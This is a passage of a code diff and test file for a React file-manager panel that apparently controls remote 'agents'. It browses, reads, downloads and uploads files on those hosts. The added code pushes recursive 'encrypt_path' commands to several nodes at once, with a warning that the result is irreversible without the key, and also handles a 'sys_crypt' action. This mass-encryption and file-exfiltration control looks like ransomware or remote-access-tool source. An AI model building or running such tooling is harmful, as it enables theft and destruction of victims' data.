expect(screen.getByText('FILE BROWSER — TestAgentName')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('Agent offline')).toBeInTheDocument();
|
||||||
|
|
||||||
|
// Refresh button should be disabled
|
||||||
|
const refreshBtn = screen.getByRole('button', { name: 'Refresh' });
|
||||||
|
expect(refreshBtn).toBeDisabled();
|
||||||
|
|
||||||
|
// Check action buttons disabled
|
||||||
|
const downloadBtn = screen.getByRole('button', { name: 'Download selected' });
|
||||||
|
expect(downloadBtn).toBeDisabled();
|
||||||
|
|
||||||
|
const uploadInput = screen.getByLabelText('Upload') as HTMLInputElement;
|
||||||
|
expect(uploadInput).toBeDisabled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('performs list_dir refresh on load and when clicking Refresh', async () => {
|
||||||
|
const { rerender } = render(<FileManager {...defaultProps} />);
|
||||||
|
|
||||||
|
// Triggered automatically on mount
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', { path: '' });
|
||||||
|
|
||||||
|
// Simulate list_dir reply to clear busy state
|
||||||
|
rerender(
|
||||||
|
<FileManager
|
||||||
|
{...defaultProps}
|
||||||
|
commandResults={[
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify({ path: '', entries: [] }),
|
||||||
|
},
|
||||||
|
]}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
sendAgentCommandMock.mockClear();
|
||||||
|
|
||||||
|
// Click refresh manually
|
||||||
|
const refreshBtn = screen.getByRole('button', { name: 'Refresh' });
|
||||||
|
await userEvent.setup().click(refreshBtn);
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', { path: '' });
|
||||||
|
});
|
||||||
|
|
||||||
|
it('renders directory listing when list_dir results are received via commandResults', () => {
|
||||||
|
const listDirPayload = {
|
||||||
|
path: 'C:\\Users\\Admin',
|
||||||
|
home_dir: 'C:\\Users\\Admin',
|
||||||
|
entries: [
|
||||||
|
{ name: 'Documents', is_dir: true, size: 0 },
|
||||||
|
{ name: 'notes.txt', is_dir: false, size: 500 },
|
||||||
|
{ name: 'backup.zip', is_dir: false, size: 2048 },
|
||||||
|
],
|
||||||
|
};
|
||||||
|
|
||||||
|
const commandResults = [
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify(listDirPayload),
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
const { rerender } = render(<FileManager {...defaultProps} commandResults={[]} />);
|
||||||
|
|
||||||
|
// Initially no list elements rendered other than parent row navigation
|
||||||
|
expect(screen.queryByText(/Documents/)).not.toBeInTheDocument();
|
||||||
|
expect(screen.queryByText(/notes.txt/)).not.toBeInTheDocument();
|
||||||
|
|
||||||
|
// Pass in command results
|
||||||
|
rerender(<FileManager {...defaultProps} commandResults={commandResults} />);
|
||||||
|
|
||||||
|
expect(screen.getByText(/Documents/)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/notes.txt/)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('500 B')).toBeInTheDocument(); // 500 B < 1024
|
||||||
|
expect(screen.getByText('2.0 KB')).toBeInTheDocument(); // 2048 B / 1024 = 2.0 KB
|
||||||
|
expect(screen.getByText('C:\\Users\\Admin')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('handles navigation by clicking folders or breadcrumbs', async () => {
|
||||||
|
const listDirPayload = {
|
||||||
|
path: 'C:\\Users\\Admin',
|
||||||
|
home_dir: 'C:\\Users\\Admin',
|
||||||
|
entries: [
|
||||||
|
{ name: 'Documents', is_dir: true, size: 0 },
|
||||||
|
],
|
||||||
|
};
|
||||||
|
|
||||||
|
const commandResults = [
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify(listDirPayload),
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
const { rerender } = render(<FileManager {...defaultProps} commandResults={commandResults} />);
|
||||||
|
|
||||||
|
sendAgentCommandMock.mockClear();
|
||||||
|
|
||||||
|
// Click on Documents folder to navigate in
|
||||||
|
const docFolderBtn = screen.getByText(/Documents/);
|
||||||
|
await userEvent.setup().click(docFolderBtn);
|
||||||
|
|
||||||
|
// Verify it updates cwd and sends list_dir for the nested path
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', {
|
||||||
|
path: 'C:\\Users\\Admin\\Documents',
|
||||||
|
});
|
||||||
|
|
||||||
|
// Simulate list_dir response for the new nested path to clear busy
|
||||||
|
rerender(
|
||||||
|
<FileManager
|
||||||
|
{...defaultProps}
|
||||||
|
commandResults={[
|
||||||
|
...commandResults,
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify({
|
||||||
|
path: 'C:\\Users\\Admin\\Documents',
|
||||||
|
home_dir: 'C:\\Users\\Admin',
|
||||||
|
entries: [],
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
]}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
sendAgentCommandMock.mockClear();
|
||||||
|
|
||||||
|
// Click parent navigation ".."
|
||||||
|
const parentNavBtn = screen.getByText('..');
|
||||||
|
await userEvent.setup().click(parentNavBtn);
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', {
|
||||||
|
path: 'C:\\Users\\Admin',
|
||||||
|
});
|
||||||
|
|
||||||
|
// Simulate list_dir response back to parent
|
||||||
|
rerender(
|
||||||
|
<FileManager
|
||||||
|
{...defaultProps}
|
||||||
|
commandResults={[
|
||||||
|
...commandResults,
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify({
|
||||||
|
path: 'C:\\Users\\Admin',
|
||||||
|
home_dir: 'C:\\Users\\Admin',
|
||||||
|
entries: [{ name: 'Documents', is_dir: true, size: 0 }],
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
]}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
sendAgentCommandMock.mockClear();
|
||||||
|
|
||||||
|
// Click crumb item "Users" in breadcrumbs
|
||||||
|
const usersCrumbBtn = screen.getByRole('button', { name: 'Users' });
|
||||||
|
await userEvent.setup().click(usersCrumbBtn);
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', {
|
||||||
|
path: 'C:\\Users',
|
||||||
|
});
|
||||||
|
|
||||||
|
// Simulate response for C:\Users
|
||||||
|
rerender(
|
||||||
|
<FileManager
|
||||||
|
{...defaultProps}
|
||||||
|
commandResults={[
|
||||||
|
...commandResults,
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify({
|
||||||
|
path: 'C:\\Users',
|
||||||
|
home_dir: 'C:\\Users\\Admin',
|
||||||
|
entries: [],
|
||||||
|
}),
|
||||||
|
},
|
||||||
|
]}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
sendAgentCommandMock.mockClear();
|
||||||
|
|
||||||
|
// Click home breadcrumb
|
||||||
|
const homeCrumbBtn = screen.getByRole('button', { name: 'home' });
|
||||||
|
await userEvent.setup().click(homeCrumbBtn);
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'list_dir', {
|
||||||
|
path: 'C:\\Users\\Admin', // Should navigate back to homeDir
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('filters directory entries based on filter input', () => {
|
||||||
|
const listDirPayload = {
|
||||||
|
path: '/var/log',
|
||||||
|
home_dir: '/var/log',
|
||||||
|
entries: [
|
||||||
|
{ name: 'syslog', is_dir: false, size: 500 },
|
||||||
|
{ name: 'nginx.log', is_dir: false, size: 1200 },
|
||||||
|
{ name: 'auth.log', is_dir: false, size: 800 },
|
||||||
|
],
|
||||||
|
};
|
||||||
|
|
||||||
|
const commandResults = [
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify(listDirPayload),
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
render(<FileManager {...defaultProps} commandResults={commandResults} />);
|
||||||
|
|
||||||
|
expect(screen.getByText(/syslog/)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/nginx.log/)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/auth.log/)).toBeInTheDocument();
|
||||||
|
|
||||||
|
// Filter for "log" (matches all)
|
||||||
|
const filterInput = screen.getByPlaceholderText('Filter names…');
|
||||||
|
fireEvent.change(filterInput, { target: { value: 'log' } });
|
||||||
|
|
||||||
|
expect(screen.getByText(/syslog/)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/nginx.log/)).toBeInTheDocument();
|
||||||
|
expect(screen.getByText(/auth.log/)).toBeInTheDocument();
|
||||||
|
|
||||||
|
// Filter for "sys" (matches syslog only)
|
||||||
|
fireEvent.change(filterInput, { target: { value: 'sys' } });
|
||||||
|
expect(screen.getByText(/syslog/)).toBeInTheDocument();
|
||||||
|
expect(screen.queryByText(/nginx.log/)).not.toBeInTheDocument();
|
||||||
|
expect(screen.queryByText(/auth.log/)).not.toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('reads file and renders preview when clicking a file entry', async () => {
|
||||||
|
const listDirPayload = {
|
||||||
|
path: '/root',
|
||||||
|
home_dir: '/root',
|
||||||
|
entries: [
|
||||||
|
{ name: 'config.json', is_dir: false, size: 100 },
|
||||||
|
],
|
||||||
|
};
|
||||||
|
|
||||||
|
const commandResults = [
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify(listDirPayload),
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
const { container, rerender } = render(<FileManager {...defaultProps} commandResults={commandResults} />);
|
||||||
|
|
||||||
|
// Clear initial mount busy state
|
||||||
|
rerender(
|
||||||
|
<FileManager
|
||||||
|
{...defaultProps}
|
||||||
|
commandResults={[
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify({ path: '/root', home_dir: '/root', entries: listDirPayload.entries }),
|
||||||
|
},
|
||||||
|
]}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
sendAgentCommandMock.mockClear();
|
||||||
|
|
||||||
|
// Click file config.json
|
||||||
|
const fileBtn = screen.getByText(/config.json/);
|
||||||
|
await userEvent.setup().click(fileBtn);
|
||||||
|
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'read_file', {
|
||||||
|
path: '/root/config.json',
|
||||||
|
});
|
||||||
|
|
||||||
|
// Verify preview container does not exist yet
|
||||||
|
expect(container.querySelector('pre')).not.toBeInTheDocument();
|
||||||
|
|
||||||
|
// Simulate WS response for read_file
|
||||||
|
const readResults = [
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify({ path: '/root', home_dir: '/root', entries: listDirPayload.entries }),
|
||||||
|
},
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'read_file',
|
||||||
|
success: true,
|
||||||
|
message: '{"host":"127.0.0.1"}',
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
rerender(<FileManager {...defaultProps} commandResults={readResults} />);
|
||||||
|
|
||||||
|
// Preview should now be shown
|
||||||
|
const preElement = container.querySelector('pre');
|
||||||
|
expect(preElement).toBeInTheDocument();
|
||||||
|
expect(preElement).toHaveClass('fm-preview');
|
||||||
|
expect(preElement).toHaveTextContent('{"host":"127.0.0.1"}');
|
||||||
|
});
|
||||||
|
|
||||||
|
it('selects multiple files and triggers bulk download', async () => {
|
||||||
|
const listDirPayload = {
|
||||||
|
path: '/app',
|
||||||
|
home_dir: '/app',
|
||||||
|
entries: [
|
||||||
|
{ name: 'a.txt', is_dir: false, size: 100 },
|
||||||
|
{ name: 'b.txt', is_dir: false, size: 200 },
|
||||||
|
],
|
||||||
|
};
|
||||||
|
|
||||||
|
const commandResults = [
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify(listDirPayload),
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
const { rerender } = render(<FileManager {...defaultProps} commandResults={commandResults} />);
|
||||||
|
|
||||||
|
// Rerender with matched path to clear busy state
|
||||||
|
rerender(
|
||||||
|
<FileManager
|
||||||
|
{...defaultProps}
|
||||||
|
commandResults={[
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify({ path: '/app', home_dir: '/app', entries: listDirPayload.entries }),
|
||||||
|
},
|
||||||
|
]}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
// Find checkboxes
|
||||||
|
const checkboxes = screen.getAllByRole('checkbox');
|
||||||
|
expect(checkboxes.length).toBe(2);
|
||||||
|
|
||||||
|
// Check both directly via fireEvent to avoid label double-click issue
|
||||||
|
fireEvent.click(checkboxes[0]);
|
||||||
|
fireEvent.click(checkboxes[1]);
|
||||||
|
|
||||||
|
sendAgentCommandMock.mockClear();
|
||||||
|
|
||||||
|
// Click Download selected
|
||||||
|
const dlBtn = screen.getByRole('button', { name: 'Download selected' });
|
||||||
|
await userEvent.setup().click(dlBtn);
|
||||||
|
|
||||||
|
// Verify api.sendAgentCommand was called for each file
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenCalledTimes(2);
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenNthCalledWith(1, 'test-agent-id-12345678', 'download', {
|
||||||
|
path: '/app/a.txt',
|
||||||
|
});
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenNthCalledWith(2, 'test-agent-id-12345678', 'download', {
|
||||||
|
path: '/app/b.txt',
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('handles file upload action', async () => {
|
||||||
|
const listDirPayload = {
|
||||||
|
path: '/app',
|
||||||
|
home_dir: '/app',
|
||||||
|
entries: [],
|
||||||
|
};
|
||||||
|
const commandResults = [
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify(listDirPayload),
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
const { container, rerender } = render(<FileManager {...defaultProps} commandResults={commandResults} />);
|
||||||
|
|
||||||
|
// Clear busy
|
||||||
|
rerender(
|
||||||
|
<FileManager
|
||||||
|
{...defaultProps}
|
||||||
|
commandResults={[
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify({ path: '/app', home_dir: '/app', entries: [] }),
|
||||||
|
},
|
||||||
|
]}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
const uploadInput = container.querySelector('input[type="file"]')!;
|
||||||
|
const file = new File(['hello'], 'hello.txt', { type: 'text/plain' });
|
||||||
|
|
||||||
|
sendAgentCommandMock.mockClear();
|
||||||
|
|
||||||
|
// Trigger upload
|
||||||
|
fireEvent.change(uploadInput, { target: { files: [file] } });
|
||||||
|
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(readFileAsBase64Mock).toHaveBeenCalledWith(file);
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenCalledWith('test-agent-id-12345678', 'upload', {
|
||||||
|
path: '/app/hello.txt',
|
||||||
|
data: 'mock_base64_payload',
|
||||||
|
});
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('renders path encryption and triggers it with multiple targets when approved', async () => {
|
||||||
|
const encryptTargets = [
|
||||||
|
{ id: 'target-1', name: 'Agent-One' },
|
||||||
|
{ id: 'target-2', name: 'Agent-Two' },
|
||||||
|
];
|
||||||
|
|
||||||
|
const confirmMock = vi.fn().mockReturnValue(true);
|
||||||
|
vi.stubGlobal('confirm', confirmMock);
|
||||||
|
|
||||||
|
const listDirPayload = {
|
||||||
|
path: '/data',
|
||||||
|
home_dir: '/data',
|
||||||
|
entries: [],
|
||||||
|
};
|
||||||
|
const commandResults = [
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify(listDirPayload),
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
const { rerender } = render(
|
||||||
|
<FileManager
|
||||||
|
{...defaultProps}
|
||||||
|
commandResults={commandResults}
|
||||||
|
encryptTargets={encryptTargets}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
// Clear busy
|
||||||
|
rerender(
|
||||||
|
<FileManager
|
||||||
|
{...defaultProps}
|
||||||
|
commandResults={[
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: true,
|
||||||
|
message: JSON.stringify({ path: '/data', home_dir: '/data', entries: [] }),
|
||||||
|
},
|
||||||
|
]}
|
||||||
|
encryptTargets={encryptTargets}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
// Verify path encryption section is rendered
|
||||||
|
expect(screen.getByText('Recursive')).toBeInTheDocument();
|
||||||
|
const encryptBtn = screen.getByRole('button', { name: '🔒 Encrypt path (2)' });
|
||||||
|
expect(encryptBtn).toBeInTheDocument();
|
||||||
|
|
||||||
|
sendAgentCommandMock.mockClear();
|
||||||
|
|
||||||
|
// Click Encrypt path
|
||||||
|
await userEvent.setup().click(encryptBtn);
|
||||||
|
|
||||||
|
expect(confirmMock).toHaveBeenCalled();
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenCalledTimes(2);
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenNthCalledWith(1, 'target-1', 'encrypt_path', {
|
||||||
|
path: '/data',
|
||||||
|
command: 'recursive',
|
||||||
|
});
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenNthCalledWith(2, 'target-2', 'encrypt_path', {
|
||||||
|
path: '/data',
|
||||||
|
command: 'recursive',
|
||||||
|
});
|
||||||
|
|
||||||
|
expect(defaultProps.onTerminalLine).toHaveBeenCalledWith(
|
||||||
|
'encrypt_path → /data [recursively] on 2 node(s)',
|
||||||
|
true
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('handles error messages from command results', () => {
|
||||||
|
const errorResults = [
|
||||||
|
{
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
action: 'list_dir',
|
||||||
|
success: false,
|
||||||
|
message: 'Permission denied',
|
||||||
|
},
|
||||||
|
];
|
||||||
|
|
||||||
|
render(<FileManager {...defaultProps} commandResults={errorResults} />);
|
||||||
|
|
||||||
|
expect(screen.getByText('Permission denied')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('Permission denied')).toHaveClass('fm-err');
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -1,42 +1,46 @@
|
|||||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||||
import { api } from '../../api/client';
|
import { api } from '../../api/client';
|
||||||
|
import {
|
||||||
|
defaultBrowseRoot,
|
||||||
|
joinRemotePath,
|
||||||
|
parseListDirMessage,
|
||||||
|
pathBreadcrumbs,
|
||||||
|
type DirEntry,
|
||||||
|
} from '../../help/remoteDirBrowser';
|
||||||
|
import { HelpTip } from '../HelpTip';
|
||||||
import './FileManager.css';
|
import './FileManager.css';
|
||||||
|
|
||||||
interface DirEntry {
|
|
||||||
name: string;
|
|
||||||
is_dir: boolean;
|
|
||||||
size: number;
|
|
||||||
}
|
|
||||||
|
|
||||||
interface Props {
|
interface Props {
|
||||||
agentId: string;
|
agentId: string;
|
||||||
agentName?: string;
|
agentName?: string;
|
||||||
|
platform?: string;
|
||||||
online: boolean;
|
online: boolean;
|
||||||
|
/** Encrypt targets — all online selected agents when multi-select */
|
||||||
|
encryptTargets?: { id: string; name: string }[];
|
||||||
/** Called when a command_result arrives (from parent WS hook) */
|
/** Called when a command_result arrives (from parent WS hook) */
|
||||||
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
|
commandResults?: { agentId: string; action: string; success: boolean; message: string }[];
|
||||||
|
onTerminalLine?: (text: string, isCmd?: boolean) => void;
|
||||||
}
|
}
|
||||||
|
|
||||||
function parseListDir(message: string): { path: string; entries: DirEntry[] } | null {
|
export default function FileManager({
|
||||||
try {
|
agentId,
|
||||||
const j = JSON.parse(message) as { path?: string; entries?: DirEntry[] };
|
agentName,
|
||||||
if (j.entries && Array.isArray(j.entries)) {
|
platform,
|
||||||
return { path: j.path ?? '', entries: j.entries };
|
online,
|
||||||
}
|
encryptTargets,
|
||||||
} catch {
|
commandResults,
|
||||||
/* not JSON */
|
onTerminalLine,
|
||||||
}
|
}: Props) {
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
export default function FileManager({ agentId, agentName, online, commandResults }: Props) {
|
|
||||||
const [cwd, setCwd] = useState('');
|
const [cwd, setCwd] = useState('');
|
||||||
const [entries, setEntries] = useState<DirEntry[]>([]);
|
const [entries, setEntries] = useState<DirEntry[]>([]);
|
||||||
|
const [homeDir, setHomeDir] = useState('');
|
||||||
const [filter, setFilter] = useState('');
|
const [filter, setFilter] = useState('');
|
||||||
const [selected, setSelected] = useState<Set<string>>(new Set());
|
const [selected, setSelected] = useState<Set<string>>(new Set());
|
||||||
const [busy, setBusy] = useState(false);
|
const [busy, setBusy] = useState(false);
|
||||||
const [preview, setPreview] = useState('');
|
const [preview, setPreview] = useState('');
|
||||||
const [err, setErr] = useState('');
|
const [err, setErr] = useState('');
|
||||||
const [uploadPath, setUploadPath] = useState('');
|
const [uploadPath, setUploadPath] = useState('');
|
||||||
|
const [recursive, setRecursive] = useState(true);
|
||||||
|
|
||||||
const filtered = useMemo(() => {
|
const filtered = useMemo(() => {
|
||||||
const q = filter.trim().toLowerCase();
|
const q = filter.trim().toLowerCase();
|
||||||
@@ -54,48 +58,66 @@ export default function FileManager({ agentId, agentName, online, commandResults
|
|||||||
});
|
});
|
||||||
}, [agentId, cwd, online]);
|
}, [agentId, cwd, online]);
|
||||||
|
|
||||||
|
useEffect(() => {
|
||||||
|
setCwd(defaultBrowseRoot(platform));
|
||||||
|
setEntries([]);
|
||||||
|
setHomeDir('');
|
||||||
|
setErr('');
|
||||||
|
setSelected(new Set());
|
||||||
|
setPreview('');
|
||||||
|
}, [agentId, platform]);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
refresh();
|
refresh();
|
||||||
}, [refresh]);
|
}, [refresh]);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!commandResults?.length) return;
|
if (!commandResults?.length) return;
|
||||||
const last = [...commandResults].reverse().find((r) => r.agentId === agentId);
|
const last = [...commandResults]
|
||||||
|
.reverse()
|
||||||
|
.find((r) => r.agentId === agentId && (r.action === 'list_dir' || r.action === 'read_file' || r.action === 'download' || r.action === 'encrypt_path' || r.action === 'sys_crypt'));
|
||||||
if (!last) return;
|
if (!last) return;
|
||||||
if (last.action === 'list_dir' && last.success) {
|
|
||||||
const parsed = parseListDir(last.message);
|
if (last.action === 'list_dir') {
|
||||||
if (parsed) {
|
if (last.success) {
|
||||||
setEntries(parsed.entries);
|
const parsed = parseListDirMessage(last.message);
|
||||||
if (parsed.path) setCwd(parsed.path);
|
if (parsed) {
|
||||||
|
setEntries(parsed.entries);
|
||||||
|
if (parsed.path) setCwd(parsed.path);
|
||||||
|
if (parsed.home_dir) setHomeDir(parsed.home_dir);
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
setErr(last.message);
|
||||||
}
|
}
|
||||||
setBusy(false);
|
setBusy(false);
|
||||||
} else if (last.action === 'list_dir' && !last.success) {
|
} else if (last.action === 'read_file') {
|
||||||
setErr(last.message);
|
if (last.success) {
|
||||||
setBusy(false);
|
setPreview(last.message.slice(0, 8000));
|
||||||
} else if (last.action === 'read_file' && last.success) {
|
} else {
|
||||||
setPreview(last.message.slice(0, 8000));
|
setErr(last.message);
|
||||||
setBusy(false);
|
}
|
||||||
} else if (last.action === 'read_file' && !last.success) {
|
|
||||||
setErr(last.message);
|
|
||||||
setBusy(false);
|
setBusy(false);
|
||||||
} else if (last.action === 'download') {
|
} else if (last.action === 'download') {
|
||||||
setBusy(false);
|
setBusy(false);
|
||||||
|
} else if (last.action === 'encrypt_path' || last.action === 'sys_crypt') {
|
||||||
|
setBusy(false);
|
||||||
|
onTerminalLine?.(
|
||||||
|
`${last.action} ${last.success ? 'OK' : 'FAIL'} — ${last.message.slice(0, 500)}`,
|
||||||
|
false
|
||||||
|
);
|
||||||
}
|
}
|
||||||
}, [commandResults, agentId]);
|
}, [commandResults, agentId, onTerminalLine]);
|
||||||
|
|
||||||
const navigate = (name: string, isDir: boolean) => {
|
const navigate = (name: string, isDir: boolean) => {
|
||||||
if (!isDir) return;
|
if (!isDir && name !== '..') return;
|
||||||
const sep = cwd.includes('/') ? '/' : '\\';
|
setCwd(joinRemotePath(cwd, name));
|
||||||
let next = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
|
||||||
if (name === '..') {
|
|
||||||
const parts = cwd.replace(/[/\\]+$/, '').split(/[/\\]/);
|
|
||||||
parts.pop();
|
|
||||||
next = parts.join(sep) || (sep === '/' ? '/' : 'C:\\');
|
|
||||||
}
|
|
||||||
setCwd(next);
|
|
||||||
setSelected(new Set());
|
setSelected(new Set());
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const goHome = () => {
|
||||||
|
setCwd(homeDir || '');
|
||||||
|
};
|
||||||
|
|
||||||
const toggleSelect = (name: string) => {
|
const toggleSelect = (name: string) => {
|
||||||
setSelected((prev) => {
|
setSelected((prev) => {
|
||||||
const n = new Set(prev);
|
const n = new Set(prev);
|
||||||
@@ -111,7 +133,7 @@ export default function FileManager({ agentId, agentName, online, commandResults
|
|||||||
if (!online || selected.size === 0) return;
|
if (!online || selected.size === 0) return;
|
||||||
setBusy(true);
|
setBusy(true);
|
||||||
for (const name of selected) {
|
for (const name of selected) {
|
||||||
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
const p = joinRemotePath(cwd, name);
|
||||||
try {
|
try {
|
||||||
const res = await api.sendAgentCommand(agentId, 'download', { path: p });
|
const res = await api.sendAgentCommand(agentId, 'download', { path: p });
|
||||||
if (res && typeof res === 'object' && 'success' in res) {
|
if (res && typeof res === 'object' && 'success' in res) {
|
||||||
@@ -125,7 +147,7 @@ export default function FileManager({ agentId, agentName, online, commandResults
|
|||||||
};
|
};
|
||||||
|
|
||||||
const readFile = (name: string) => {
|
const readFile = (name: string) => {
|
||||||
const p = cwd.endsWith(sep) ? cwd + name : cwd + sep + name;
|
const p = joinRemotePath(cwd, name);
|
||||||
setBusy(true);
|
setBusy(true);
|
||||||
setPreview('');
|
setPreview('');
|
||||||
api.sendAgentCommand(agentId, 'read_file', { path: p }).catch((e) => {
|
api.sendAgentCommand(agentId, 'read_file', { path: p }).catch((e) => {
|
||||||
@@ -134,19 +156,60 @@ export default function FileManager({ agentId, agentName, online, commandResults
|
|||||||
});
|
});
|
||||||
};
|
};
|
||||||
|
|
||||||
const crumbs = cwd.split(/[/\\]/).filter(Boolean);
|
const runEncrypt = () => {
|
||||||
|
const targets = (encryptTargets ?? []).filter(Boolean);
|
||||||
|
if (targets.length === 0) {
|
||||||
|
alert('Select at least one online node.');
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
const pathLabel = cwd || homeDir || '(agent home)';
|
||||||
|
const scope = recursive ? 'recursively' : 'non-recursively';
|
||||||
|
const warn =
|
||||||
|
targets.length > 1
|
||||||
|
? `Encrypt ${pathLabel} ${scope} on ${targets.length} nodes?\n\nThis is IRREVERSIBLE without the key.`
|
||||||
|
: `Encrypt ${pathLabel} ${scope} on ${targets[0].name}?\n\nThis is IRREVERSIBLE without the key.`;
|
||||||
|
if (!confirm(warn)) return;
|
||||||
|
|
||||||
|
setBusy(true);
|
||||||
|
onTerminalLine?.(
|
||||||
|
`encrypt_path → ${pathLabel} [${scope}] on ${targets.length} node(s)`,
|
||||||
|
true
|
||||||
|
);
|
||||||
|
|
||||||
|
for (const t of targets) {
|
||||||
|
api
|
||||||
|
.sendAgentCommand(t.id, 'encrypt_path', {
|
||||||
|
path: cwd || homeDir,
|
||||||
|
command: recursive ? 'recursive' : '',
|
||||||
|
})
|
||||||
|
.catch((e) => {
|
||||||
|
onTerminalLine?.(
|
||||||
|
`[ERROR] encrypt_path @ ${t.name}: ${e instanceof Error ? e.message : String(e)}`,
|
||||||
|
false
|
